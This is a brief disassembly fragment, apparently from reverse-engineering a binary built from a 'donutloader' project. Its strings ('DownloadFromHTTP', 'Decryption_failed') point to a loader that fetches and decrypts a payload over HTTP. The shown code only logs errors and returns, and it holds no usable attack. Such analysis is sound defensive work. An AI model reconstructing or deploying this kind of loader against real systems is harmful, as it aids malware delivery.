jmp 0x140004a40
lea rax, str.C:UsersAdministratorDesktopToolsdonutloaderhttp_client.c
mov qword [rsp + 0xa0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, str.DownloadFromHTTP
mov qword [rsp + 0x20], rcx
mov r9d, 0x124
mov r8, qword [rsp + 0xa0]
lea rdx, [0x14003b9c0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Decryption_failed
mov rcx, rax
call fcn.140011a10
xor eax, eax
jmp 0x140004a94
mov eax, dword [rsp + 0x44]
add rsp, 0x4d8
ret